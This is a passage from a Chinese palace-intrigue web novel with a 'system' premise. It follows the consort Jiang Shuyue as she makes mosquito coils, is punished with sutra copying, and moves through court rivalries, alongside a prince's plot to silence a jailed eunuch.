张进宝前脚被抓起来,后脚这消息就叫皇宫里的暗桩想办法递了出去。 端王府内,气氛压抑得仿若是暴风雨来临前的宁静。 手里拿着刚刚收到的密报,端王颜色阴沉,不住地在屋里来回踱步。 “饭桶!一点事情都做不好!”他额头青筋抱暴起,回身猛地一拳砸在书桌上,桌上的茶盏被震得哐当作响,茶水四溅。 屋内还坐着一人,看到端王失态的模样,微微皱眉。 那人面白无须,脸庞瘦削,身型微佝,俨然是宫中太监模样,开口嗓音却低沉。 “王爷,此时动怒无济于事,当务之急是要想好接下来的应对之策。” 端王深吸一口气,努力平复心情,但气促的呼吸仍是暴露了他此刻的心情。 “如今张进宝被抓,尚且不说他手里拿着与本王的往来书信,若是他全盘托出……” 他猛然停下脚步,眼中惊疑不定,“你说贺云徽到底知不知道是我在背后主使?” 那人沉吟片刻之后,缓缓开口:“若是那位已然确定是您,那恐怕此刻的王府已被重兵包围了。但如今王府尚算安宁,想必那位还未拿到确切的证据。” 端王长舒一口气,眼中却仍又担忧之色,“话虽如此,但若他松口……” 太监抬起头,眼中闪过一丝狠戾,“为今之计,唯有将其灭口,方能绝了后患。只要他死了,便死无对证,那位就算怀疑,也拿您没办法。” 他做了一个手势。 第50章 积分大户 “灭口?说得轻巧!天牢守卫森严,哪有那么容易得手?万一事情败露,岂不是不打自招!”端王眉头拧成一个‘川’字。 那太监此时又上前一步,“王爷,此事虽难,但并非毫无办法。咱们在宫中还有暗线,可让他们趁乱行事。王爷佯装对此事毫不知情,照常进宫问安,以表忠心,趁机试探一番。” 端王沉思片刻,缓缓开口,“好,就依你所言。你做事本王放心,一定要将此事处理妥当,切莫再出任何差错!” 他重新坐回椅子上,脸上的怒色也渐渐缓和了几分。 太监微微躬身回道:“王爷放心,属下定会全力以赴。” 夜幕如墨,一个身形佝偻的人缓缓靠近天牢。 “什么人?!”天牢把守的侍卫抽出刀,怒喝,“天牢重地,闲杂人特速速离开!” 那人并不说话,只掏出一个令牌。 侍卫看到令牌,立刻收起手里的刀,让出了身后的天牢入口。 踏入天牢,一股腐臭与潮湿的气息扑面而来。 这里关押着的,都是一些官员要犯。 这些人看到有人进来,都漠然地看着。 反正也不是来救他们的,何必关心。 沿着窄的通道前行,脚步声在寂静的环境中格外突兀。 “张公公。” 张进宝关在这里已经一整天了,每一分每一秒,都在提心吊胆。 听到熟悉的声音,他猛地睁开眼睛,扑到门边。 “周公公!”他努力伸出手去够来人,“是王爷让您来救我吗?” 那人微微一笑,“公公莫慌,王爷托我给您带句话。” 张进宝现在就如同溺水的人,想要抓住眼前唯一的救命稻草。 刚要凑近,那人从袖口抽出藏着的毒针,闪电般刺进张进宝的咽喉。 张进宝瞪大双眼,双手徒劳地抓着牢门,喉咙里发出“咯咯”的声音,身体慢慢软倒。 “王爷说,秘密随你一起入土吧。” 张进宝天牢遇袭身亡,消息只一刻钟内就传到了贺云徽耳朵里。 “呵……看来朕这皇弟,真是迫不及待啊。” 他扔下奏折,“继续盯着,有任何消息即可来报。” 暗处传来声音:“是。” * 日落西斜,疏散的阳光从窗棂透下,室内一片寂静,略带着夏日的沉闷。 静玉端着花生酪进入内室,“娘娘,已经冰镇过的花生酪。” 视线扫过圆香几,眼神里闪过一丝疑惑。 咦?这里之前放过兰花吗? 实在想不起来,静玉只好耸耸肩之后放下花生酪。 “放那吧,”姜舒月手里拿着毛笔,趴在桌子上写写画画。 也不知是不是古代的生活太过于无趣,反倒叫姜舒月找到了些毛笔字的乐趣。 贺云徽进来的时候,看到的就是姜舒月手里握着笔,在宣纸上认真地写着什么。 她身穿着一件碧色的广袖襦裙,长发松松垮垮的挽了一个髻,只插了一只碧色的玉簪。 眼神像是在看深爱的人,专注而温柔。 他放轻了呼吸,迈着沉稳的步伐走进来。 听到动静,微微抬头,露出那张清丽绝伦的脸。 臻首娥眉,目若秋水。 “陛下!”她放下手中的笔,飞奔过来扑向贺云徽。 稳稳地抱住了姜舒月,贺云徽走到书桌旁边,看向桌子上那些宣纸。 低低地开口,“看来爱妃这两天进步不小。” 姜舒月听了扬了扬下巴,“妾身可没忘了,陛下曾说过要来考校的。” 然而,贺云徽却低头意味深长地看了她一眼。 眼中翻滚着晦暗不明的情绪。 “携手揽腕入罗帐,含羞带笑把灯吹?”他的声音又低又缓,带着些许喑哑。 姜舒月一听,脸色瞬间涨得通红,如同熟透的水蜜桃,鲜嫩多汁。 “陛、陛下……”她将头偏向一边,本来是环抱住贺云徽的手,也在后面绞动起来。 贺云徽从来没有遇到过一个女子像她这般,时而灵动狡黠,时而大胆奔放,让他忍不住想要深入探究。 他伸出手,捏住姜舒月的下巴,将人转过来面对自己,目光逐渐灼热。 “写信给朕的时候,怎么不见你害羞,”贺云徽轻笑着,手指滑过姜舒月的后腰,引来她一阵战栗。 随后他弯腰在姜舒月耳边低语,唇有意无意的触碰到她的耳朵。 姜舒月眼毛颤抖得厉害,主动攀上他的肩上,红唇青涩的在贺云徽的颈间游走。 贺云徽突然身体一紧,下一秒,将她横抱起来走进内室。 床幔上的流苏不住地摇晃,晃得姜舒月眼花。 贺云徽的手扣在姜舒月的脑后,迫使她只能看着自己,逼着她将最后两句诗念出来。 “乖,”低语和喘息声交织,“告诉我,最后两句诗是什么。” 姜舒月紧紧抓着贺云徽的肩膀,紧咬着下唇嘤咛着,“陛下……呜……” 好不容易断断续续地说完了后面两句诗,贺云徽呼吸一窒,以近乎霸道的姿态,猛然吻上了姜舒月。 纱帐微垂,影影绰绰间,只见两道紧紧纠缠的人影。 榻上锦被凌乱,薄衾半掩着两人的身体。 贺云徽侧身而卧,一手支着头,目光柔和地凝视着身旁沉睡的女子。 青丝如瀑散落在枕畔,几缕碎发贴在绯红的脸颊上,长长的睫毛微微颤动。 “陛下,”福安轻声在寝殿外说话,“已经酉时了,该传膳了。” 床上女子皱了皱眉,似有要醒的迹象。 “去吧。” 刻意压低地声音带着餍足。 殿外隐隐传来宫人们轻声走动的声音,不一会儿,摆满美食的桌案被小心翼翼地抬进殿内。 香气轻轻钻进了内室,绕过纱帐,钻入了姜舒月鼻子里。 她转身咕哝了句什么,缓缓睁开双眸,迷离的视线逐渐聚焦。 “醒了?”贺云徽早已收拾妥当,坐在书桌前翻看着姜舒月写的字。 听到床上传来声响,便知道姜舒月醒了。 “陛下……”她的声音还带着刚睡醒的软糯与惺忪。 听得他心软软的。 牵过她的手,再次幻想起,如果二人有了孩子,会不会也像姜舒月那样。 娇娇软软的,还爱撒娇。 “先吃点东西,”他动筷,却先给姜舒月夹了一筷子的菜,“今夜朕就不留宿了,南巡在即,需要政务需要处理。” 今天下午也是寻了时间过来看她。 最近她这里太多人盯着了,对她不好。 姜舒月点点头,张嘴嗷呜吃掉了贺云徽筷子上的菜,“妾身知道了,陛下总是很忙的。” 看她毫不在意的模样,贺云徽也不知道自己心里会什么会有一种别扭的感觉。 既期待她开口留自己,又希望她做个乖巧懂事的女人。 摇摇头,抛开脑子里乱七八糟的想法,也跟着吃了起来。 送走了贺云徽后,姜舒月伸了一个懒腰。 【叮——恭喜宿主完成侍寝任务,奖励200积分,道具:黄粱一梦香,点燃后使吸入者陷入“美梦”,自愿说出一个秘密。剩余积分:665。】 黄粱一梦香?这倒是个好东西。 她现在也是个积分大户了啊。 姜舒月露出一个满意的微笑,不枉费她兢兢业业做任务。 刚刚睡了一觉,姜舒月现在无比的清醒,正百无聊赖的瘫坐在椅子上。 看着明夏拿着熏香在殿内驱除蚊虫,脑子里闪过一个想法。 “明夏。”她对着明夏招招手。 明夏怕烟熏到姜舒月,便给熏香放在了殿外。 “娘娘想吃什么?”她以为姜舒月又嘴馋了。 “……” 【哈哈哈哈!】123无情地嘲笑着。 “你家娘娘我就不能有别的事情找你?”姜舒月佯装生气,脸鼓起来。 “好娘娘,是奴婢错了,”明夏看着她气鼓鼓的模样,笑着哄道,“娘娘有什么吩咐?” 姜舒月哼了声,“夏日里蚊虫多,总这么熏着味道太大了。明日你找些晒干的艾草、木炭粉、雄黄、藿香、薄荷出来,哦,还有榆木皮。” 明夏听着,这些都是驱虫的东西,“娘娘想要做什么,吩咐奴婢们来就行,您身娇体贵的……” 她摆摆手,“你不懂,这得自己来做才行。” 大概是她在现代没事就想自己捣鼓点什么的手瘾又犯了。 不上手做点什么,这手啊,它不得劲。 第51章 抄不完的经书熬不尽的夜 明夏不懂,但明夏还是应了下来,“是。” 因为心里装了事情,平常都要快辰时才醒的姜舒月,卯时就起来了。 “娘娘,天色还早,再睡会吧?”扶风知道姜舒月很喜欢睡觉。 尤其是不用请安这段时间,几乎日日都要睡到辰时才起。 今日却卯时起来了,都怕她没休息好。 “无事,早起的虫儿有鸟吃。”她捂着嘴巴打哈欠。 “是……嗯?”这话是这么说的吗? 算了,娘娘说什么都是对的。 扶风自我PUA后,替姜舒月换上了舒适的常服。 明夏掀了帘子进来,“娘娘,东西都准备好了。” 她点点头,刷过牙之后就出了内室。 现代蚊香是1880年被小日子发明出来,华国到了20世纪初才引入改良,并逐渐普及的。 古代虽然也有类似的驱蚊材料,但多都是直接燃烧植物,或者把这些植物磨成粉末燃烧。 但是这样的方式烟量大且持续时间短。 每次弦月宫一开始熏虫子的时候,都特别呛人。 想到自己之前曾经做过手工的蚊香,就想着自己做点古法蚊香,改善一下着烟熏火燎的情况。 一应的药草都被整齐的摆放在殿中的空地上。 明夏心细,甚至给姜舒月准备了石臼。 “娘娘要这些东西做什么?”扶风一脑门的问号。 她挽起袖子,拿着艾草就丢入石臼。 “做蚊香。” 蚊香? 在场的人都是第一次听到这个词,都很陌生。 “嗯,明夏每日拿着艾草点燃了烟熏,麻烦不说,还呛人。”姜舒月手持杵棒,一下又一下地碾磨。 “之前在一本杂书上看到过一种方法,想要试一下。” 成功了就不用再忍受这种烟了,失败了……那就是多试几次,总会成功的。 来了皇宫之后,姜舒月就吃好睡好的。 一双手也是养得白嫩细腻。 只碾了几下,手掌就磨的发红。 几个宫女心疼得不得了,明夏更是直接拿过杵棒。 “奴婢来吧,娘娘。”她让小路子把姜舒月经常躺的躺椅放在阴凉处,让扶风和静玉把姜舒月扶过去休息。 看着磨得通红的手掌心,姜舒月也没坚持,在两个丫鬟的伺候下,躺在了椅子上。 “要怎么做娘娘?”明夏也没做过这个所谓的蚊香,一时间无从下手。 姜舒月呷了一口花茶,舒适地眯了眯眼,“慢慢碾,碾成艾绒就可以。” 明夏点点头,她干活利索,一会就碾成了松软的艾绒。 她拿过来给姜舒月看,“娘娘,这样可以吗?” 姜舒月看了一眼,竖了个大拇指,“不错!就是这样。” 小路子小方子都围在一旁,好奇地看着,眼里都是跃跃欲试。 扶风看出他们的想法,笑了笑,“旁边还有几个石臼,要不拿出来,我们也试一下吧?” 于是弦月宫里的太监宫女,手里都拿个石臼,不停地捣鼓着。 怕姜舒月身边没有人伺候,静玉就没有上手。 日头渐高了,几个人都热出了汗,姜舒月回头跟静玉吩咐了一下,“去尚膳居要几碗冰酥酪来。” 静玉福身退了下去,姜舒月又说道:“日头毒,避着点,别中了暑气。” 人多力量大,只一个时辰的时间,艾草都已经变成艾绒了。 几个人捧着冰酥酪,一边喝一边叽叽喳喳地讨论。 “娘娘接下去做什么。”都在等着她的下一步指示。 姜舒月起身看了眼榆木皮。 已经很干燥了,不需要再次晾晒。 “这个要磨成粉才行。” 明夏看了看榆木皮,又看了看那个小石臼,明夏脸上有些为难。 “娘娘,这石臼怕是无法将榆木皮磨成粉。” 榆木皮难以处理,现代倒是可以直接买磨好的粉。 姜舒月也犯起难来,眼光扫过一脸深思的明夏,“榆木粉最主要的作用就是做粘合剂,嗯……就是用来粘合这些粉的,要是有其他的材料不用这么麻烦,也能有粘性的,可以不用榆木皮。” 明夏眼睛一亮,“有的娘娘!可以用桃胶,之前奴婢在太医院炮制药丸的时候,也常用桃胶。” 她怎么没想到呢,“那就换成桃胶。” 将榆木皮收拾起来之后,明夏又去太医院顺了一些桃胶,正要离开被胡太医抓了个正着。 胡太医一看明夏怀里,鼓鼓囊囊的包了一大包东西,就知道她又来顺东西了。 气得他大骂明夏,一回来就往外顺东西。 明夏也不生气,笑嘻嘻地说了句:“我家娘娘要的。” 胡太医下一句话哽在喉咙里,不上不下的,最后恼羞成怒将人赶出太医院。 艾绒也有了,粘合剂也有了,接下来就是混合了。 按照姜舒月说的配笔,几人慢慢地往艾绒中加入木炭粉、雄黄、藿香和薄荷。 桃胶遇水膨胀后黏性强,明夏将其溶水调配成胶液,也倒了进去。 这种搅拌的脏活被小方子和小路子揽了过去。 没一会就混合均匀了。 “不错不错,”姜舒月摸着下巴,点头,“趁着这个没完全凝固之前,搓成长条之后晾干,就可以了。” 这事并没有什么见不得人的,在制作的时候,弦月宫的宫门也是敞开着的。 有路过的宫女太监都看到了,里面的人不停地在忙活着些什么。 但毕竟里面住着正五品的贵人娘娘,怕冲撞了贵人,都不敢多停留,只瞄了一眼就离开了。 很快这件事情就传遍了皇宫。 琼华宫 “本宫正愁没有机会收拾她,她倒好,给了本宫一个绝佳的机会。” 白露自从上次被训斥之后,很是安静了一段时间。 闻言也不过是停顿了一下,就继续做事。 小满手中不停,轻柔地给淑妃揉捏着肩膀,“娘娘,您说这姜贵人,这又是在做什么呢?” 原本后宫妃子少,几个高位的妃子每个人平均下来一个月也能见到贺云徽两回。 自打新人入了宫,满打满算三个月,贺云徽竟是一次也没朝琼华宫来。 宋滢也就算了,她原本就受宠,家世也好,贺云徽多去她那无可厚非。 可姜舒月凭什么?! 自从宋滢被禁足之后,陛下连着去她那多少次了? 她只有一个公主,陛下不来,她怎么能再次怀上孩子呢? 尤其是上次宫宴之后,她可以明显的感觉到,贺云徽对姜舒月的上心程度,已经不是最开始她设想的那番: 只是为了给婉妃体面。 淑妃看着铜镜里的自己,也不过是双十年华,容颜也还是如刚进宫般温婉秀丽。 可为什么陛下不来? “做什么?呵,一个庶出的贱人,能做什么好东西?”淑妃眼里不屑。 之前已经得到消息,贺云徽今日去了兰昭容宫里,淑妃得意得笑笑,“给本宫更衣,本宫倒要去看看,这贱人又在做什么。” 小满应是,连忙给淑妃换了一身华贵的衣裳,带着一众太监宫女,袅袅婷婷地来到弦月宫。 “淑妃娘娘到~” 小路子几人都在里面手搓蚊香,突然听闻外面在唱淑妃到了。 【叮——触发随机任务:抄不完的经书熬不尽的夜;本次任务无法使用道具,请宿主随机应变。】 这任务来的太突然,姜舒月心里一凛,领着众人赶忙行礼,“参见淑妃娘娘,娘娘万安。” 淑妃并没有马上叫起,而是略过了姜舒月,径直走进了弦月宫。 踱步至晾晒蚊香之处,嫌弃地用手帕捏住一根,仔细瞧了瞧,便又扔回了竹编中。 过了一会,才貌似想起来姜舒月还跪着,“瞧瞧,瞧瞧,本宫记性也是越发的不好了,快起来吧。” 笑语晏晏地,去虚扶了一把姜舒月。 “谢娘娘。”起身后,姜舒月并没有给淑妃说明竹编里是什么东西。 左右她都是来找茬的,根本也不是真的在意这东西。 所有人都秉着呼吸,严阵以待。 第52章 抄不完,不许睡觉 看到淑妃进入了内殿,静玉拿了之前贺云徽赏赐下来的茶来招待。 “娘娘请用。” 淑妃对静玉这种小角色并不放在眼里,鼻子里发出一声冷哼之后,看向了姜舒月。 “妹妹也坐下来吧,”她轻摇着手中的团扇,故作娇俏掩嘴轻笑,“万一再站出点问题来,可别说本宫欺负你了。” 说罢眼神从姜舒月身上一扫而过,带着几分审视与轻蔑。 姜舒月面上不动声色,莲步轻移,顺势缓缓坐下露出一个完美的假笑,声音宛如黄莺出谷般轻柔。 “娘娘说笑了,谁不知淑妃娘娘最是和善不过了。” “姜妹妹真会说话。”淑妃眼里闪过一丝嫉恨,转瞬即逝,却还是被姜舒月捕捉到了。 “难怪陛下最近总来弦月宫了,妹妹这张小嘴,怕是哄得陛下流连忘返了。” 她将手中的团扇一收,目光如刀般射向姜舒月,仿佛要在她身上看出什么破绽来。 姜舒月心里吐槽着淑妃,装都不装一下,就着急要给自己定罪了。 面上还是维持着得体的笑容,“陛下心怀天下,英明神武,不过是瞧着妾身这儿清净,能稍作休憩罢了。 哪比得上娘娘在陛下心中的地位,尊贵尊崇,无人能及。” 淑妃难能听不出姜舒月话里话外的意思,冷哼一声。 “你倒是会往自己脸上贴金。本宫可听说了,这弦月宫整日里神神秘秘的,捣鼓些不明不白的东西,也不知道是否是耍了什么狐媚手段,竟把陛得晕头转向。” 这句话太严重了,姜舒月自然不可能就这样受着。 她起身跪了下去,深色坦然,“娘娘这话是从何说起,妾身自问进宫以来一向恪守本分,从未逾矩。 若真有什么见不得人的手段,妾身又怎敢在这后宫之中,在娘娘的眼皮子底下行事?” 说着,眼眶微微泛红,一副楚楚可怜的模样,让人看了心生怜惜。 “求淑妃娘娘明鉴。”几个宫女太监也都跪了一地。 淑妃见姜舒月一副断定自己不能拿她怎么样的模样,心中更加恼怒。 手掌拍上茶桌,厉声道:“哼,还敢狡辩!那你说说,你今日做这玩意是有何用途?” 原来是看自己在做蚊香,就急着过来找茬了。 姜舒月眼眶里蓄满了泪水,哽咽着说道:“娘娘明鉴,弦月宫偏僻,草木竹林又多。 夏日里蚊虫比一般的宫殿都要多,妾身被叮咬得厉害,才想要做些驱虫的熏香。” 淑妃看着那竹编里黑漆漆的一片,不屑地说:“就凭这些东西,能驱蚊? 本宫看你是妄图用这些伎俩吸引皇上注意。这后宫之中,轮得到你这般卖弄?” 姜舒月朕恨不得打开淑妃的脑子,看看里面是不是真的空无一物。 “娘娘误会了,这些药材在太医院也是常用的药材,若您不信,大可请太医院的太医来查验一番。” 她的眼泪像掉了线的珍珠落下。 小满见状,连忙扯了扯淑妃的衣袖,在她耳边轻声说道:“娘娘稍安勿躁,这姜贵人既然敢去太医院,就说明此物无害。 若大张旗鼓去太医院请人来问,万一这东西确实只是寻常驱虫之物,咱们岂不是落了个无端刁难的名声。” 淑妃心中虽有不甘,但是小满的话确实给她提了个醒,“差点着了你的道,说什么宫殿偏僻蚊虫多,本宫看你分明是心浮气躁。 既然你这么闲,本宫就罚你那就去抄写《心经》百遍,好好静静心。” 她算是知道,这任务的名字为什么叫:抄不完的经书熬不尽的夜了。 “是,娘娘教训得是,妾身甘愿受罚。” 看她如此顺从,淑妃心中又不痛快起来,于是又吩咐道:“白露,你留下盯着她,抄不完,不许她睡觉。” 白露赶忙应道:“是,娘娘放心。” 淑妃又狠狠瞪了姜舒月一眼,这才转身离开。 扶风几人敢怒不敢言,“恭送娘娘~” “姜娘娘,请吧~”白露弯腰做了一个请的姿势。 “你!”扶风刚想要发作,被姜舒月拦了下来。 “去吧,把外面的东西收拾好,”她轻声说着,“收拾好了之后,今晚守夜的人留下,其他的人去休息吧。” 主子被罚抄经书,底下的人怎么敢自己休息。 但也不能就这样在主子面前,看着她受罚,只好自己找些事情来做。 姜舒月自己则坐在了书桌之前,铺开纸张,研磨开始抄写。 好在姜舒月之前跟贺云徽学了一些写字的手法,虽然写的字不太好看,但也足以应对。 白露坐在一旁,百无聊赖地发呆。 时不时抬头看一样姜舒月,嘴里不知道在嘟囔些什么。 姜舒月也不搭理她,只是专注地抄写着。 时间一点点过去,整个弦月宫里一片寂静。 白露已经困得不行,头一点一点的,姜舒月都怕她一头栽倒在地上。 “把这道菜撤下去吧,陛下不喜芜菁之味。”兰昭容穿着杏子红绉纱裙,正对着一桌的菜看着。 “是。” “母妃!”宁华公主身着一袭鹅黄色的小裙,扎着两个俏皮的发髻,两只小脚倒腾着往兰昭容跑来。 兰昭容半蹲下来,宁华公主就冲到了她怀里,“慢点跑。” 说着拿出手帕来给宁华擦了擦额头的汗。 “父皇什么时候来,宁华好久都没看到父皇了。” 兰昭容捏了捏女儿的脸,“你父皇说啦,今日就来看你。” 宁华公主眼睛一亮,“太好啦!母妃快好好准备一下,不然父皇来了,咱们没东西给父皇可就遭啦。” 别看她只有四岁,说起话来人小鬼大的。 逗得在场的人乐得不行。 “什么就要遭了?”贺云徽甫一进殿门,就听到女儿软软糯糯的声音在说着什么。 “父皇!”宁华公主反应快,瞧见贺云徽,就像只小兔子般飞奔过来,一下子抱住了他的腿。 贺云徽弯腰将宁华公主抱在怀里,笑着刮了刮她的鼻子,“朕的宁华想父皇了吗?” 宁华公主搂着朕的脖子,用力地点点头,奶声奶气地说:“宁华可想父皇啦,天天都盼着父皇能来看宁华呢。” “臣妾参见陛下。” 兰昭容性格温婉,也不知怎的,生出来的孩子性格活泼的不行。 “起吧。”说着,便抱着宁华公主走到榻前坐下。 刚坐下,宁华公主就扭了扭身子,“父皇快放宁华下来。” 贺云徽无奈,又将人放在了地上。 只见宁华公主又风风火火地跑进内室,奶娘都差点没跟上她的脚步,只能在后面追着。 “公主您慢点。” 过了一会,她手里拿着一张纸,献宝似的递给贺云徽。 “父皇,您看,这是宁华画的。画的是父皇、母妃还有宁华,我们一家三口在一起。” 贺云徽很给面子的拿过来,细细地端详着,上面画着两大一小三个人,旁边还用别的颜色画了各种各样的花。 兰昭容捂嘴笑着,“宁华从几天前就开始在画了,臣妾想着帮她一起画,她不肯,非说什么要自己画完给您个惊喜。” “宁华有心了,父皇很喜欢。” 宁华笑的眼睛眯成一条缝,再次爬上贺云徽的身上,小手在空中比量着。 讲着最近几日的趣事,大到自己因为什么哭了小到自己今天早上吃了什么。 兰昭容在一旁静静看着,眼神里满是温柔。 “咕咕——”正说着,宁华公主的肚子响了起来。 “母妃,宁华的肚子响了。”她拍了拍自己的肚子,“宁华还要跟父皇说话,你不要响啦!” 第53章 规矩都忘了 贺云徽哈哈一笑,抱着宁华公主站了起来,“你的肚子说它饿了,要用膳了。” 把人放到椅子上之后,他摸了摸宁华的头,“父皇今天晚上留下来,陪宁华多说说话。” 宁华公主眼神亮晶晶的,用力的点头,“嗯!” 用公筷给宁华公主夹了几道容易克化的食物,贺云徽摆了摆手,“不必伺候了,坐下一起吃吧。” 兰昭容便在宁华公主另一边坐了下来。 忽然,殿外传来一阵嘈杂。 先是清姿压低声音阻拦:“静娘娘,陛下正与韵妃娘娘、公主一同用膳,您此时进去恐怕不妥。” 紧接着,便是一道尖锐且带着几分骄纵的声音:“我不过是来给陛下问安,哪有这么多规矩?你莫要阻拦我。” 兰昭容面露诧异,轻声唤来清露出去看看情况。 不一会儿,清露面露难色地回禀:“陛下,是与娘娘同住一宫的静常在听闻您在此,想来拜见,拦也拦不住。” 话音刚落,静常在已如一阵风般闯了进来。 贺云徽眉头皱起,眼神中闪过一丝不悦。 兰昭容安抚着摸了摸宁华公主的头,心里也有些不虞。 往日里,静常在对自己多有不敬也就罢了。 今日更是过分,竟然在没有通报的情况下,直接闯了进来。 再仔细看她今日的装扮:身上穿着银丝锦绣百花群裙,头上珠翠摇曳,叮当作响。 兰昭容见此心中叹了口气,“妹妹来了,陛下正要用膳,不如坐下一同用膳吧。” 她仿若未闻,扭着腰肢,自顾自地的往贺云徽身边靠,口中娇声道:“参见陛下,听闻陛下在此,妾身特来问安。” 一股浓烈的香气直冲面门,贺云徽不着痕迹地往旁边挪了挪,脸上一贯冷然的表情更加冰冷了。 等了半天,静常在蹲着的腿都酸了,也没听到贺云徽叫起。 心里不仅有些打鼓。 “静常在,看来进宫之时学的规矩,你都忘得一干二净了。”他眼神恣睢,声音冷得像淬了冰一般。 兰昭容不愿女儿看到这些,招呼着奶娘将宁华公主抱了出去。 一番话让本来就蹲不住的静常在脸色更加苍白。 “陛下,妾身只是太长时间没见到您了,一时之间有些忘形,还望陛下恕罪。”她嗫喏着,身子愈发的摇摇欲坠。 “陛下喜怒!”她双腿一软,跪了下去。 “福安,吩咐下去,”贺云徽神色冷峻,“静常在言行无状,冲撞圣驾,即日起,由尚仪局教习嬷嬷来好好教一教静常在,这宫里的规矩。” “是。” 此言一出,静常在脸色变得煞白,嘴唇微微颤抖。 在这皇宫里,被皇上当众指出规矩不好,还指派了教习嬷嬷来教导,这无疑是对她极大的侮辱。 兰昭容面露不忍,轻声劝道:“陛下,许是妹妹一时激动,不如……” 贺云徽抬手打断了兰昭容,她是什么心思,自己再清楚不过。 “朕知你心善,对她多有宽容。但宫中规矩,不可废弛。若是人人都如她这般肆意妄为,这后宫还成什么样子?” 话说道这份上,兰昭容也知道贺云徽是铁了心要惩治一番静常在了。 静常在咬着下唇,眼中满是屈辱与恨意,她强忍着泪水,跪着谢了恩。 声音颤抖道:“妾身,领旨谢恩。” 说罢,匆匆退下。 “继续用膳吧。”贺云徽淡淡开口,仿佛刚刚的插曲从未发生过。 宁华公主又重新被奶娘抱了过来,刚刚还有些开心的小人儿,此刻却有些拘谨了。 贺云徽看了她一眼,心知她是被自己吓到了。 兰昭容也知道女儿第一次见到贺云徽生气的样子,心里产生了陌生感,也不好再开口说什么。 一顿饭吃的,只能用四个字来形容:味如嚼蜡。 但是小孩子忘性大,吃完了晚膳,也就把刚才的事情忘得差不多了,又开始在贺云徽身上撒娇。 一直玩到了戌时,还赖在贺云徽怀里不肯走,小脑袋一点一点的,眼皮也开始打架。 兰昭容从贺云徽怀里抱过宁华,心疼地说:“陛下,宁华就交给奶娘带下去睡吧,今儿个和陛下玩得太兴奋,都累坏了。” 抱走宁华之后,兰昭容照例问了一句:“陛下今儿留宿吗?” 贺云徽点头,她便熟练地过来给贺云徽更衣。 热闹了一天的毓庆宫,也安静了下来。 * 夜色渐浓,扶风看了眼殿内的情况,“娘娘这一时半会的也抄不完,还有静玉和小路子在呢,咱们都休息吧,不然明儿都没办法干活了。” 虽然不想去休息,但是扶风说的没错。 总不能让娘娘明日起来,无人能用。 又过了许久,白露实在熬不住了,趴在桌子上睡了过去。 姜舒月看了她一眼,打了个哈欠,继续抄写着。 就算白露不盯着她也办法,这个任务一个字都不能用道具,自己只能一个个的抄。 终于,天边泛起了鱼肚白。 几个丫鬟太监醒了之后过来一看,姜舒月还在抄。 心里不由得叹了口气,不知道这么多的心经,自家娘娘要抄到什么时候。 扶风已经接替了静玉,在一旁伺候着笔墨。 姜舒月写完最后一个字,放下手中的笔,揉了揉酸痛的手腕。 看着那一叠厚厚的《心经》,手更痛了。 白露这时也醒了过来,看到整理好的《心经》,有些惊讶。 “姜娘娘这是已经抄完了?” 姜舒月点头,“烦请白露姐姐帮妾身回禀淑妃娘娘,一百遍《心经》已抄完。” 拿起抄好的《心经》,白露敷衍地给姜舒月行了个礼,就要走。 “明夏。”姜舒月可不放心让白露就这样回去,万一途中再扔了,假意说自己没抄,那可真是百口莫辩了。 “娘娘,有何吩咐。”明夏立刻掀了帘子进来。 她任由扶风给自己按摩,朝白露看了看,“送一送你白露姐姐。” 明夏一下就明白了姜舒月的意思,笑着福了福身。 “是,白露姐姐,这怎么好劳烦您拿着呢,”明夏巧笑倩兮地就接过了东西,“我来拿吧。” 没有休息好的白露,一时之间没有反应过来,还以为姜舒月这是在跟自己示好,下巴微扬,“嗯,算你有点眼力见。” “白露姐姐。”明夏跟在白露身后,手里借着心经的遮掩,拿出一个荷包往她手里塞去。 白露眼里一亮,随后装出一副不感兴趣地样子,“这是作甚。” 明夏讨好地笑笑,“姐姐就收下吧,这是我家娘娘的一点心意。一会淑妃娘娘问起,还请姐姐如实说明。” 看白露有些动摇,明夏又说道:“姐姐在弦月宫辛苦了一晚上,娘娘看在眼里,心疼得不得了,就当是给姐姐的辛苦费。” 两人推搡了一番,白露装作拗不过明夏的样子,迅速地收下了荷包,嘴角翘了翘。 “待会见到淑妃娘娘,我自会向娘娘秉明。” 明夏又一副感恩戴德地模样,让白露很是得意。 一路上明夏左一句好姐姐右一句好姐姐,哄着白露说了出不少有关于淑妃的事情。 说话间,两人就到了琼华宫门口。 门口当值的太监立刻迎了白露进去。 淑妃起得也很早,正坐在正殿内喝茶。 “娘娘吉祥。”白露给淑妃福了福身。 “参见淑妃娘娘,娘娘吉祥,我家娘娘的吩咐奴婢来将抄好的心经送来,请娘娘过目。”明夏跪下,双手将心经奉上。 看着白露手里厚厚一叠宣纸,有些意外,声音都拔高了不少,“都抄完了?你盯着她抄的?” 第54章 天大地大吃饭最大 白露点头,“奴婢从姜娘娘开始抄写起就一直盯着,一直到天亮。” 淑妃接过心经翻了翻,冷哼一声,“行了,起来吧。” “谢娘娘。” “回去告诉你家娘娘,日后时刻谨记自己的身份,”她端起茶杯吹了吹上面的茶沫,“不要仗着自己年轻漂亮,就妄想霸着陛下。若下次还敢再犯,本宫可不会像今天这般揭过了。” 明夏面上不显,嘴上十分恭敬,“多谢娘娘教诲,奴婢告退。” 抄写了一晚上的手腕酸痛不已。 等到明夏回了弦月宫,又拿了乳香没药油来给姜舒月按摩。 按着按着,姜舒月就睡了过去。 轻轻给她盖好薄衾,众人退出了内室。 扶风又是心疼又是生气,“太过分了,娘娘的手腕都肿了。” “嘘……”明夏扯了扯她,“小声些。今天白露说了不少关于淑妃的事情,大约是觉得娘娘分了她的宠爱,又在宫宴上一鸣惊人,她心里一直对娘娘憋着一股气呢。” 她又顿了顿,小心地看看四周,“这次还好,只是罚了抄经书,就怕下次没那么好运了。” 扶风还是有些不服气,“可是娘娘也很难,只是做了个蚊香就被人针对,以后可如何是好。” 然而到了下午,白露又出现在了弦月宫。 “姜娘娘安,我家娘娘说,您抄写的心经很好,想叫您帮个忙。” …… 等待白露轻飘飘地说完来意离开后,扶风第一个没忍住。 “娘娘,她、她怎么可以这样!”她简直要被淑妃的不要脸气死了。 “这么多的经书,三天内您怎么抄得完?!” 用太后来压娘娘,逼得娘娘不得不继续抄写经书,分明是借机来惩罚娘娘。 姜舒月拿着茶杯沉思。 怪不得她抄写完之后,没有听到123的任务完成播报,原来是在这等着自己。 这个任务不会就这样简单,只是让自己抄写经书就可以完成的。 究竟应该如何破局呢? 她深吸一口气,“去尚膳局提膳,先用膳。” 天大地大,吃饭最大。 今日膳食都是姜舒月喜欢吃的,但是手腕实在无法动了,全程都是扶风喂她吃的。 